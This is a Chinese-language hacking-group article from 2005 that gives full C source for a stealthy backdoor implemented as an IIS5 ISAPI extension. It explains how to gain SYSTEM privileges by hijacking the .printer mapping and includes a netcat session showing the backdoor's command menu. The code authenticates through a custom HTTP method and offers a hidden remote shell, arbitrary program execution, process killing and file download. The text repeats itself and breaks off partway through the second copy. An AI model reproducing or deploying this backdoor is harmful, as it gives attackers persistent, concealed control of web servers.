IIS5 ISAPI Extension Back Door
创建时间：2005-08-18 更新时间：2005-08-23
文章属性：原创
文章提交：ph4_yunshu (wustyunshu_at_hotmail.com)
IIS5 ISAPI Extension Back Door
Our Team: http://www.ph4nt0m.org
Author: 云舒(wustyunshu@hotmail.com)
Date: 2005-08-18
一.前言
二.申明
三.实现
四.参考
一.前言
最近的sql injection攻击很流行，一般的解决方法是使用通用的防注入函数来保护程序不受威胁。但是有写些序作者经常忘记包含通用函数，导致没有效果。前些日子研究彻底防止SQL Injection攻击时，看了些IIS5的ISAPI Filter文档，决定利用IIS提供的API接口做个东西，这样可以很好的防止sql injection攻击。
凑巧发现，这样依附在IIS上面的扩展模块，还可以作为别的用处，比如作为一个后门程序。这样进程的隐藏，端口的隐藏，服务的隐藏问题都不需要解决，由IIS包办了。作为后门，为了隐蔽性，我选择了ISAPI Extension接口。前后大约一个多星期，做出了一个这样的东西，还不知道叫什么名字好。
二.申明
1.代码里面有些特殊字符，因为我忘记不了她，请自己修改。
2.代码可以随意转载，但是请保证文档完整，并不得用于商业用途。
3.代码可以随意修改，但是如果能够给我一份，将不胜感激。
4.代码我只是演示这种后门的危害，用做任何用途均与我无关。
三.实现
1.解析
鉴于隐蔽性，我没有选择ISAPI Filter，而是选择了ISAPI Extension方式。ISAPI Extension是IIS的功能扩展模块，它能独立支持某一项特殊的HTTP请求，系统默认支持的asp脚本由%SystemRoot%\system32\inetsrv\inetsrv\asp.dll解析。自己实现一个动态连接库，就可以实现自己特殊的功能，例如php就是利用自己带的dll文件来解析php文件的。IIS先获取请求文件的扩展名，再根据配置的应用程序映射，交由特定的dll处理。
2.权限
IIS5的配置都保存在%SystemRoot%\system32\inetsrv\MetaBase.bin文件中，它有两个主键：LM和Schema。LM主键下面有W3SVC/InProcessIsapiApps键，这是一个数组，里面包含的是一组指向一些ISAPI的路径。在这个数组里面的ISAPI运行的时候都是由inetinfo.exe直接启动的，继承inetinfo.exe的local system权限；而不在其中的ISAPI则是由svchost.exe派生的dllhost.exe进程启动的，运行的身份是IWAM_NAME，权限极低。这里，我们可以使用iis的脚本adsutil.vbs将我们的dll加到数组当中，命令为adsutil.vbs set w3svc/inprocessisapiapps Dll Path。更好的办法是替换掉printer扩展的映射，此映射由%systemroot%\msw3prt.dll来解析，而且这个dll文件默认存在于W3SVC/InProcessIsapiApps键中。这也就是2000年.printer溢出得到system权 限的原因。
3.导出
根据MSDN描述，ISAPI Extension需要导出三个函数，GetExtensionVersion，TerminateExtension以及HttpExtensionProc
4.功能
首先，密码功能肯定是需要的，这里我将标准的HTTP协议扩充出一个Icy方法，如果客户端使用此方法请求注册的映射，则认证成功，否则不予理睬。这里，你也可以修改代码，使用HTTP协议的其他部分做认证，比如Accept字段。
其次，后门主要是获取一个shell，但是某些服务器可能设置了禁止system访问cmd，因此，我还提供了下载功能，这样可以下载一个cmd，然后通过shell CustomerCmd运行，得到shell执行命令。最后就是列举进程和查杀进程了。
在虚拟机上测试，我注册了扩展名为yunshu交由此dll解析。使用nc连接，发送自己扩展的http协议，屏幕copy如下：
C:\>nc -vv 192.168.10.250 80
Warning: forward host lookup failed for Icy.missyou.com: h_errno 11004:NO_DATA
Icy.missyou.com [192.168.10.250] 80 (http) open: unknown socket error
Icy /test.yunshu HTTP/1.0
HOST: 192.168.10.250
Can you tell me how to forget some one?
Code by 云舒
Our team:www.ph4nt0m.org
Icy>help
Now,Support these command:
pslist--------------List Process Information
kill PID------------Kill The Process
exec Program--------Run A Program
shell ShellPath-----Get A System Shell,Normal shell cmd.exe
down URL------------DownLoad A File
exit----------------Exit
Icy>
5.代码
// ISAPI EXTENSION BACK DOOR
// Code by 云舒
// Thx EnvyMask
// 修改2005-08-14凌晨
// 最后2005-08-16
// Compiled On: Windows Server2003,VC++ 6.0
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
#include <httpext.h>
#include <UrlMon.h>
#pragma comment(lib, "urlmon.lib")
#define DEBUG
#define LOGPATH "c:\\ISAPI_LOG.txt"
//后门密码
#define PASSWORD "Icy"
//标识符
#define FLAG "Icy>"
//缓冲区大小
#define BUFFSIZE 1024 * 4
#define ARGSIZE 1024
typedef struct workArg
{
EXTENSION_CONTROL_BLOCK *pECB;
char arg[ARGSIZE];
}WORKARG;
//定义函数原形
BOOL StartWith( char * , char * ); //判断第一个字符串是否以第二个字符串开头
void SwitchCmd( EXTENSION_CONTROL_BLOCK * , char * ); //根据输入的命令来选择执行的功能
void PsList( EXTENSION_CONTROL_BLOCK * ); //列举进程
void Kill( LPVOID ); //杀进程
void Shell( LPVOID ); //获取一个shell
void ExecProgram( LPVOID ); //运行一个程序
void Help( EXTENSION_CONTROL_BLOCK * ); //输出帮助
void DownLoad( LPVOID ); //下载文件
BOOL SendToClient( EXTENSION_CONTROL_BLOCK * , char * ); //发送数据到客户端
void LogStrToFile( char * ); //记录字符错误信息到日志
void LogIntToFile( int ); //记录整数信息到日志
//DLL入口
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved )
{
return TRUE;
}
//版本信息
BOOL WINAPI GetExtensionVersion(HSE_VERSION_INFO *pVer)
{
pVer->dwExtensionVersion = MAKELONG(HSE_VERSION_MINOR,HSE_VERSION_MAJOR);
strcpy( pVer->lpszExtensionDesc, "What_Can_I_Do?" );
return TRUE;
}
BOOL WINAPI TerminateExtension( DWORD dwFlags )
{
return TRUE;
}
DWORD WINAPI HttpExtensionProc(EXTENSION_CONTROL_BLOCK * pECB)
{
char buff[BUFFSIZE] = { 0 };
char *err = "Error...\n";
char *helo = "Can you tell me how to forget some one?\nCode by 云舒\nOur team:www.ph4nt0m.org\n\n";
DWORD dwBytes = 64;
//获取客户端密码，连接到web服务器，发送请求,请求方式为密码
pECB->GetServerVariable( pECB->ConnID , "REQUEST_METHOD" , buff , &dwBytes );
if ( strncmp( buff , PASSWORD , strlen(PASSWORD) ) != 0 )
{
SendToClient( pECB , err );
return HSE_STATUS_SUCCESS;
}
#ifdef DEBUG
LogStrToFile( "-------------------------------\n" );
LogStrToFile( "客户端成功登陆\n" );
#endif
SendToClient( pECB , helo );
SendToClient( pECB , FLAG );
while(TRUE)
{
ZeroMemory( buff , BUFFSIZE );
dwBytes = BUFFSIZE;
while( buff[0] == '\0' )//判断是否是空串
{
Sleep(1000);
pECB->ReadClient( pECB->ConnID , buff , &dwBytes );
}
if( strcmp( buff , "exit\n" ) == 0 )
{
SendToClient( pECB , "ByeBye...\n" );
break;
}
SwitchCmd( pECB , buff );
}
return HSE_STATUS_SUCCESS;
}
void SwitchCmd( EXTENSION_CONTROL_BLOCK *pECB , char *buff )
{
WORKARG workArg;
HANDLE hThread = NULL;
DWORD threadID = 0;
//SendToClient( pECB , "客户端命令: " );
//SendToClient( pECB , buff );
#ifdef DEBUG
LogStrToFile( "客户端命令: " );
LogStrToFile( buff );
#endif
//去掉命令里面的回车符
*(strchr( buff , '\n' )) = '\0';
//参数不能超过ARGSIZE
if( strlen( buff+5 ) >= ARGSIZE )
{
SendToClient( pECB , "Arguments is too long...\n" );
SendToClient( pECB , FLAG );
return;
}
//将要传递给新线程的参数清空
ZeroMemory( workArg.arg , sizeof(workArg.arg) );
//如果是pslist命令，列举进程
if( StartWith(buff , "pslist") )
{
hThread = CreateThread( NULL ,
0 ,
(LPTHREAD_START_ROUTINE)PsList ,
(LPVOID)pECB ,
0 ,
&threadID );
if( hThread == NULL )
{
#ifdef DEBUG
LogStrToFile( "创建线程列举进程失败,错误码: " );
LogIntToFile( GetLastError( ) );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "List process error...\n" );
SendToClient( pECB , FLAG );
return;
}
WaitForSingleObject( hThread , 6000 );
CloseHandle( hThread );
SendToClient( pECB , FLAG );
return;
}
//kill命令，杀进程
else if( StartWith(buff , "kill") )
{
//如果没有参数
if( *( buff+5 ) == '\0' )
{
SendToClient( pECB , "Usage:kill pid\n" );
SendToClient( pECB , FLAG );
return;
}
workArg.pECB = pECB;
strcpy( workArg.arg , buff+5 );
hThread = CreateThread( NULL ,
0 ,
(LPTHREAD_START_ROUTINE)Kill ,
(LPVOID)&workArg ,
0 ,
&threadID );
if( hThread == NULL )
{
#ifdef DEBUG
LogStrToFile( "创建线程杀进程失败,错误码: " );
LogIntToFile( GetLastError( ) );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Kill process error...\n" );
SendToClient( pECB , FLAG );
return;
}
WaitForSingleObject( hThread , 5000 );
CloseHandle( hThread );
SendToClient( pECB , FLAG );
return;
}
//shell命令，运行一个cmd获取shell，为防止主机设置权限，需指明cmd路径
else if( StartWith(buff , "shell") )
{
//如果没有参数
if( *( buff+6 ) == '\0' )
{
SendToClient( pECB , "Usage:shell ShellPath\n" );
SendToClient( pECB , FLAG );
return;
}
workArg.pECB = pECB;
strcpy( workArg.arg , buff+6 );
hThread = CreateThread( NULL ,
0 ,
(LPTHREAD_START_ROUTINE)Shell ,
(LPVOID)&workArg ,
0 ,
&threadID );
if( hThread == NULL )
{
#ifdef DEBUG
LogStrToFile( "创建线程执行shell失败,错误码: " );
LogIntToFile( GetLastError( ) );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Get shell error...\n" );
SendToClient( pECB , FLAG );
return;
}
WaitForSingleObject( hThread , INFINITE );
CloseHandle( hThread );
return;
}
else if( StartWith(buff , "exec") )
{
//如果没有参数
if( *( buff+5 ) == '\0' )
{
SendToClient( pECB , "Usage:shell ShellPath\n" );
SendToClient( pECB , FLAG );
return;
}
workArg.pECB = pECB;
strcpy( workArg.arg , buff+5 );
hThread = CreateThread( NULL ,
0 ,
(LPTHREAD_START_ROUTINE)ExecProgram ,
(LPVOID)&workArg ,
0 ,
&threadID );
if( hThread == NULL )
{
#ifdef DEBUG
LogStrToFile( "创建线程运行程序失败,错误码: " );
LogIntToFile( GetLastError( ) );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Execute program error...\n" );
SendToClient( pECB , FLAG );
return;
}
WaitForSingleObject( hThread , 10000 );
CloseHandle( hThread );
return;
}
//down命令，利用http协议下载文件
else if( StartWith(buff , "down") )
{
//如果没有参数
if( *( buff+5 ) == '\0' )
{
SendToClient( pECB , "Usage:down http://www.example.com/test.exe\n" );
SendToClient( pECB , FLAG );
return;
}
workArg.pECB = pECB;
strcpy( workArg.arg , buff+5 );
hThread = CreateThread( NULL ,
0 ,
(LPTHREAD_START_ROUTINE)DownLoad ,
(LPVOID)&workArg ,
0 ,
&threadID );
if( hThread == NULL )
{
#ifdef DEBUG
LogStrToFile( "创建线程下载文件失败,错误码: " );
LogIntToFile( GetLastError( ) );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Download file error...\n" );
SendToClient( pECB , FLAG );
return;
}
WaitForSingleObject( hThread , INFINITE );
CloseHandle( hThread );
SendToClient( pECB , FLAG );
return;
}
//命令不正确，输出帮助
else
{
hThread = CreateThread( NULL ,
0 ,
(LPTHREAD_START_ROUTINE)Help ,
(LPVOID)pECB ,
0 ,
&threadID );
if( hThread == NULL )
{
#ifdef DEBUG
LogStrToFile( "创建线程输出帮助信息失败,错误码: " );
LogIntToFile( GetLastError( ) );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Print help error...\n" );
SendToClient( pECB , FLAG );
return;
}
WaitForSingleObject( hThread , 5000 );
CloseHandle( hThread );
SendToClient( pECB , FLAG );
return;
}
}
//判断字符串buf1是否以buf2开头，是返回真
BOOL StartWith( char *buf1, char *buf2 )
{
int len = strlen(buf2);
if( memcmp( buf1,buf2,len) == 0)
{
return TRUE;
}
return FALSE;
}
//运行shell
void Shell( LPVOID arg )
{
WORKARG *workArg = (WORKARG *)arg;
SECURITY_ATTRIBUTES sa;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
STARTUPINFO si;
PROCESS_INFORMATION procInfo;
char cmdLine[ARGSIZE] = { 0 };
char buff[BUFFSIZE] = { 0 };
int ret = 0;
unsigned long dwBytes = 0;
int index = 0;
EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;
strcpy( cmdLine , workArg->arg );
if( cmdLine[0] == '\0' )
{
#ifdef DEBUG
LogStrToFile( "执行shell时，没有要输入要运行的shell路径\n" );
#endif
SendToClient( pECB , "No shell to run...\n" );
SendToClient( pECB , FLAG );
return;
}
#ifdef DEBUG
LogStrToFile( "要运行的程序: " );
LogStrToFile( workArg->arg );
LogStrToFile( "\n" );
#endif
//安全选项
sa.nLength = sizeof( sa );
sa.lpSecurityDescriptor = 0;
sa.bInheritHandle = TRUE;
//初始化管道
if( !CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0) )
{
#ifdef DEBUG
LogStrToFile( "建立管道失败: " );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Create pipi error...\n" );
SendToClient( pECB , FLAG );
return;
}
if( !CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0) )
{
#ifdef DEBUG
LogStrToFile( "建立管道失败: " );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Create pipi error...\n" );
SendToClient( pECB , FLAG );
return;
}
ZeroMemory( &si , sizeof(STARTUPINFO) );
GetStartupInfo( &si );
si.cb = sizeof( si );
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
ZeroMemory( &procInfo , sizeof(PROCESS_INFORMATION) );
ret = CreateProcess( NULL , cmdLine , NULL , NULL , 1 , 0 , NULL , NULL , &si , &procInfo );
if( !ret )
{
#ifdef DEBUG
LogStrToFile( "建立进程失败...\n" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "Create process error...\n" );
SendToClient( pECB , FLAG );
return;
}
while(1)
{
memset( buff , 0 , BUFFSIZE );
ret=PeekNamedPipe( hReadPipe1 , buff , BUFFSIZE , &dwBytes , NULL , NULL );
//尝试5次读取管道，防止延迟发生错误
for( index = 0; index < 5 && dwBytes == 0; index ++ )
{
Sleep(100);
ret = PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&dwBytes,NULL,NULL);
}
//获取输出信息，输出到客户端
if(dwBytes)
{
ret = ReadFile( hReadPipe1,buff,dwBytes,&dwBytes,0 );
if( !ret )
{
#ifdef DEBUG
LogStrToFile( "读取输出失败: " );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
break;
}
#ifdef DEBUG
LogStrToFile( buff );
#endif
ret = SendToClient( pECB , buff );
if( ret<=0 )
{
#ifdef DEBUG
LogStrToFile( "发送输出失败:" );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
break;
}
}
//从客户端获取命令
else
{
//客户端无输入则循环读取
while( buff[0] == '\0' )
{
Sleep(100);
dwBytes = BUFFSIZE;
pECB->ReadClient( pECB->ConnID , buff , &dwBytes );
}
#ifdef DEBUG
LogStrToFile( "读到客户命令了，内容是: " );
LogStrToFile( buff );
#endif
//如果是exit命令，退出连接
if( strcmp( buff , "exit\n" ) == 0 )
{
SendToClient( pECB , "ByeBye~!\n" );
break;
}
ret = WriteFile( hWritePipe2 , buff , dwBytes , &dwBytes , 0 );
if( !ret )
{
#ifdef DEBUG
LogStrToFile( "把命令发送到shell失败\n" );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
break;
}
}
}
CloseHandle(hReadPipe1);
CloseHandle(hReadPipe2);
CloseHandle(hWritePipe1);
CloseHandle(hWritePipe2);
TerminateProcess( procInfo.hProcess , 0 );
return;
}
//运行一个程序
void ExecProgram( LPVOID arg )
{
WORKARG *workArg = (WORKARG *)arg;
SECURITY_ATTRIBUTES sa;
HANDLE hReadPipe1 = NULL;
HANDLE hWritePipe1 = NULL;
STARTUPINFO si;
PROCESS_INFORMATION procInfo;
char cmdLine[ARGSIZE] = { 0 };
char buff[BUFFSIZE] = { 0 };
int ret = 0;
unsigned long dwBytes = 0;
EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;
strcpy( cmdLine , workArg->arg );
if( cmdLine[0] == '\0' )
{
#ifdef DEBUG
LogStrToFile( "执行程序时，没有要输入要运行的程序\n" );
#endif
SendToClient( pECB , "No program to run...\n" );
SendToClient( pECB , FLAG );
return;
}
#ifdef DEBUG
LogStrToFile( "要运行的程序: " );
LogStrToFile( workArg->arg );
LogStrToFile( "\n" );
#endif
//安全选项
sa.nLength = sizeof( sa );
sa.lpSecurityDescriptor = 0;
sa.bInheritHandle = TRUE;
//初始化管道
if( !CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0) )
{
#ifdef DEBUG
LogStrToFile( "建立管道失败: " );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Create pipi error...\n" );
SendToClient( pECB , FLAG );
return;
}
ZeroMemory( &si , sizeof(STARTUPINFO) );
GetStartupInfo( &si );
si.cb = sizeof( si );
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdOutput = si.hStdError = hWritePipe1;
ZeroMemory( &procInfo , sizeof(PROCESS_INFORMATION) );
ret = CreateProcess( NULL , cmdLine , NULL , NULL , 1 , 0 , NULL , NULL , &si , &procInfo );
if( !ret )
{
#ifdef DEBUG
LogStrToFile( "建立进程失败...\n" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "Create process error...\n" );
SendToClient( pECB , FLAG );
return;
}
memset( buff , 0 , BUFFSIZE );
//读取程序输出
while( dwBytes == 0 )
{
Sleep(200);
ret = PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&dwBytes,NULL,NULL);
}
ret = ReadFile( hReadPipe1,buff,dwBytes,&dwBytes,0 );
if( !ret )
{
#ifdef DEBUG
LogStrToFile( "读取输出失败: " );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
}
#ifdef DEBUG
LogStrToFile( buff );
#endif
ret = SendToClient( pECB , buff );
if( ret<=0 )
{
#ifdef DEBUG
LogStrToFile( "发送输出失败:" );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
}
CloseHandle(hReadPipe1);
CloseHandle(hWritePipe1);
TerminateProcess( procInfo.hProcess , 0 );
return;
}
void PsList( EXTENSION_CONTROL_BLOCK *pECB )
{
HANDLE hProcessSnap = NULL;
HANDLE hProcess = NULL;
PROCESSENTRY32 pe32;
char psBuff[BUFFSIZE] = { 0 };
SendToClient( pECB , "Process Information List 0.1\n\n" );
/*
SendToClient( pECB , "Code by 云舒(wustyunshu@hotmail.com)\n" );
SendToClient( pECB , "www.ph4nt0m.org www.icylife.net\n" );
*/
hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
if( hProcessSnap == INVALID_HANDLE_VALUE )
{
#ifdef DEBUG
LogStrToFile( "Call CreateToolhelp32Snapshot error" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "List process information error...\n" );
return;
}
pe32.dwSize = sizeof( PROCESSENTRY32 );
if( !Process32First( hProcessSnap, &pe32 ) )
{
#ifdef DEBUG
LogStrToFile( "Call Process32First error" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "List process information error...\n" );
SendToClient( pECB , FLAG );
CloseHandle( hProcessSnap );
return;
}
SendToClient( pECB , "PID\t\tProcessName\n" );
do
{
ZeroMemory( psBuff , sizeof(psBuff) );
sprintf( psBuff , "%d\t\t%s\n", pe32.th32ProcessID , pe32.szExeFile );
SendToClient( pECB , psBuff );
}
while( Process32Next( hProcessSnap, &pe32 ) );
return;
}
void Kill( LPVOID arg )
{
WORKARG *workArg = (WORKARG *)arg;
HANDLE hProcess = NULL;
DWORD pID;
EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
pID = atoi( workArg->arg );
if ( !OpenProcessToken( GetCurrentProcess() , TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY , &hToken ) )
{
#ifdef DEBUG
LogStrToFile( "Call OpenProcessToken error" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "Kill process error...\n" );
return;
}
if ( !LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) )
{
#ifdef DEBUG
LogStrToFile( "Call LookupPrivilegeValue error" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "Kill process error...\n" );
return;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL );
CloseHandle( hToken );
hProcess = OpenProcess( PROCESS_TERMINATE , FALSE , pID );
if( hProcess ==INVALID_HANDLE_VALUE || hProcess == NULL )
{
#ifdef DEBUG
LogStrToFile( "Call OpenProcess error" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "Kill process error...\n" );
CloseHandle( hToken );
CloseHandle( hProcess );
return;
}
if ( !TerminateProcess( hProcess, (DWORD) -1 ) )
{
#ifdef DEBUG
LogStrToFile( "Call TerminateProcess error" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "Kill process error...\n" );
CloseHandle( hToken );
CloseHandle( hProcess );
return;
}
SendToClient( pECB , "killed ok\n" );
CloseHandle( hToken );
CloseHandle( hProcess );
return;
}
void DownLoad( LPVOID arg )
{
WORKARG *workArg = (WORKARG *)arg;
char fileName[64] = { 0 };//保存的文件名
char fullPath[256] = { 0 };//保存的完整地址
char url[ARGSIZE] = { 0 };//下载的URL
char seps[] = "/";//分割字符
char *token;
int ret = 0;
EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;;
strcpy( url , workArg->arg );
token = strtok( url , seps );
while( token != NULL )
{
strcpy( fileName , token );
token = strtok( NULL , seps );
}
strcpy( url , workArg->arg );
GetCurrentDirectory( sizeof(fullPath) - sizeof(fileName) , fullPath );
strcat( fullPath , "\\" );
strcat( fullPath , fileName );
SendToClient( pECB , "Download " );
SendToClient( pECB , url );
SendToClient( pECB , "\nThe file saved to " );
SendToClient( pECB , fullPath );
ret = URLDownloadToFile( 0 , url , fullPath , 0 , 0 );
if( ret == S_OK )
{
SendToClient( pECB , "\nDownLoad ok\n" );
return;
}
#ifdef DEBUG
LogStrToFile( "Call URLDownloadToFile error" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "DownLoad file error...\n" );
return;
}
void Help( EXTENSION_CONTROL_BLOCK * pECB)
{
char buff[BUFFSIZE] = "\nNow,Support these command:\n";
strcat( buff , "pslist--------------List Process Information\n" );
strcat( buff , "kill PID------------Kill The Process\n" );
strcat( buff , "exec Program--------Run A Program\n" );
strcat( buff , "shell ShellPath-----Get A System Shell,Normal shell cmd.exe\n" );
strcat( buff , "down URL------------DownLoad A File\n" );
strcat( buff , "exit----------------Exit\n" );
SendToClient( pECB , buff );
return;
}
void LogStrToFile( char *buff )
{
FILE *fp = NULL;
fp = fopen( LOGPATH , "a+" );
if( fp == NULL ) return;
fputs( buff , fp );
fclose( fp );
}
void LogIntToFile( int num )
{
FILE *fp = NULL;
fp = fopen( LOGPATH , "a+" );
if( fp == NULL ) return;
fprintf( fp , "%d" , num );
fclose( fp );
}
BOOL SendToClient( EXTENSION_CONTROL_BLOCK * pECB , char *buff )
{
DWORD dwByte = strlen(buff);
return (pECB->WriteClient( pECB->ConnID , buff , &dwByte , 0 ));
}
四.感谢与参考
1.在获取shell的时候格式很难看，envymask告诉我是网络延迟的原因，得以解决，感谢！
2.参考《绿盟安全月刊》第37期的技术专题里面的第五章《Exploit Microsoft INTERNET INFORMATION SERVER》，地址为http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1662
3.参考MSDN函数库
文章属性：原创
文章提交：ph4_yunshu (wustyunshu_at_hotmail.com)
IIS5 ISAPI Extension Back Door
Our Team: http://www.ph4nt0m.org
Author: 云舒(wustyunshu@hotmail.com)
Date: 2005-08-18
一.前言
二.申明
三.实现
四.参考
一.前言
最近的sql injection攻击很流行，一般的解决方法是使用通用的防注入函数来保护程序不受威胁。但是有写些序作者经常忘记包含通用函数，导致没有效果。前些日子研究彻底防止SQL Injection攻击时，看了些IIS5的ISAPI Filter文档，决定利用IIS提供的API接口做个东西，这样可以很好的防止sql injection攻击。
凑巧发现，这样依附在IIS上面的扩展模块，还可以作为别的用处，比如作为一个后门程序。这样进程的隐藏，端口的隐藏，服务的隐藏问题都不需要解决，由IIS包办了。作为后门，为了隐蔽性，我选择了ISAPI Extension接口。前后大约一个多星期，做出了一个这样的东西，还不知道叫什么名字好。
二.申明
1.代码里面有些特殊字符，因为我忘记不了她，请自己修改。
2.代码可以随意转载，但是请保证文档完整，并不得用于商业用途。
3.代码可以随意修改，但是如果能够给我一份，将不胜感激。
4.代码我只是演示这种后门的危害，用做任何用途均与我无关。
三.实现
1.解析
鉴于隐蔽性，我没有选择ISAPI Filter，而是选择了ISAPI Extension方式。ISAPI Extension是IIS的功能扩展模块，它能独立支持某一项特殊的HTTP请求，系统默认支持的asp脚本由%SystemRoot%\system32\inetsrv\inetsrv\asp.dll解析。自己实现一个动态连接库，就可以实现自己特殊的功能，例如php就是利用自己带的dll文件来解析php文件的。IIS先获取请求文件的扩展名，再根据配置的应用程序映射，交由特定的dll处理。
2.权限
IIS5的配置都保存在%SystemRoot%\system32\inetsrv\MetaBase.bin文件中，它有两个主键：LM和Schema。LM主键下面有W3SVC/InProcessIsapiApps键，这是一个数组，里面包含的是一组指向一些ISAPI的路径。在这个数组里面的ISAPI运行的时候都是由inetinfo.exe直接启动的，继承inetinfo.exe的local system权限；而不在其中的ISAPI则是由svchost.exe派生的dllhost.exe进程启动的，运行的身份是IWAM_NAME，权限极低。这里，我们可以使用iis的脚本adsutil.vbs将我们的dll加到数组当中，命令为adsutil.vbs set w3svc/inprocessisapiapps Dll Path。更好的办法是替换掉printer扩展的映射，此映射由%systemroot%\msw3prt.dll来解析，而且这个dll文件默认存在于W3SVC/InProcessIsapiApps键中。这也就是2000年.printer溢出得到system权 限的原因。
3.导出
根据MSDN描述，ISAPI Extension需要导出三个函数，GetExtensionVersion，TerminateExtension以及HttpExtensionProc
4.功能
首先，密码功能肯定是需要的，这里我将标准的HTTP协议扩充出一个Icy方法，如果客户端使用此方法请求注册的映射，则认证成功，否则不予理睬。这里，你也可以修改代码，使用HTTP协议的其他部分做认证，比如Accept字段。
其次，后门主要是获取一个shell，但是某些服务器可能设置了禁止system访问cmd，因此，我还提供了下载功能，这样可以下载一个cmd，然后通过shell CustomerCmd运行，得到shell执行命令。最后就是列举进程和查杀进程了。
在虚拟机上测试，我注册了扩展名为yunshu交由此dll解析。使用nc连接，发送自己扩展的http协议，屏幕copy如下：
C:\>nc -vv 192.168.10.250 80
Warning: forward host lookup failed for Icy.missyou.com: h_errno 11004:NO_DATA
Icy.missyou.com [192.168.10.250] 80 (http) open: unknown socket error
Icy /test.yunshu HTTP/1.0
HOST: 192.168.10.250
Can you tell me how to forget some one?
Code by 云舒
Our team:www.ph4nt0m.org
Icy>help
Now,Support these command:
pslist--------------List Process Information
kill PID------------Kill The Process
exec Program--------Run A Program
shell ShellPath-----Get A System Shell,Normal shell cmd.exe
down URL------------DownLoad A File
exit----------------Exit
Icy>
5.代码
// ISAPI EXTENSION BACK DOOR
// Code by 云舒
// Thx EnvyMask
// 修改2005-08-14凌晨
// 最后2005-08-16
// Compiled On: Windows Server2003,VC++ 6.0
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
#include <httpext.h>
#include <UrlMon.h>
#pragma comment(lib, "urlmon.lib")
#define DEBUG
#define LOGPATH "c:\\ISAPI_LOG.txt"
//后门密码
#define PASSWORD "Icy"
//标识符
#define FLAG "Icy>"
//缓冲区大小
#define BUFFSIZE 1024 * 4
#define ARGSIZE 1024
typedef struct workArg
{
EXTENSION_CONTROL_BLOCK *pECB;
char arg[ARGSIZE];
}WORKARG;
//定义函数原形
BOOL StartWith( char * , char * ); //判断第一个字符串是否以第二个字符串开头
void SwitchCmd( EXTENSION_CONTROL_BLOCK * , char * ); //根据输入的命令来选择执行的功能
void PsList( EXTENSION_CONTROL_BLOCK * ); //列举进程
void Kill( LPVOID ); //杀进程
void Shell( LPVOID ); //获取一个shell
void ExecProgram( LPVOID ); //运行一个程序
void Help( EXTENSION_CONTROL_BLOCK * ); //输出帮助
void DownLoad( LPVOID ); //下载文件
BOOL SendToClient( EXTENSION_CONTROL_BLOCK * , char * ); //发送数据到客户端
void LogStrToFile( char * ); //记录字符错误信息到日志
void LogIntToFile( int ); //记录整数信息到日志
//DLL入口
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved )
{
return TRUE;
}
//版本信息
BOOL WINAPI GetExtensionVersion(HSE_VERSION_INFO *pVer)
{
pVer->dwExtensionVersion = MAKELONG(HSE_VERSION_MINOR,HSE_VERSION_MAJOR);
strcpy( pVer->lpszExtensionDesc, "What_Can_I_Do?" );
return TRUE;
}
BOOL WINAPI TerminateExtension( DWORD dwFlags )
{
return TRUE;
}
DWORD WINAPI HttpExtensionProc(EXTENSION_CONTROL_BLOCK * pECB)
{
char buff[BUFFSIZE] = { 0 };
char *err = "Error...\n";
char *helo = "Can you tell me how to forget some one?\nCode by 云舒\nOur team:www.ph4nt0m.org\n\n";
DWORD dwBytes = 64;
//获取客户端密码，连接到web服务器，发送请求,请求方式为密码
pECB->GetServerVariable( pECB->ConnID , "REQUEST_METHOD" , buff , &dwBytes );
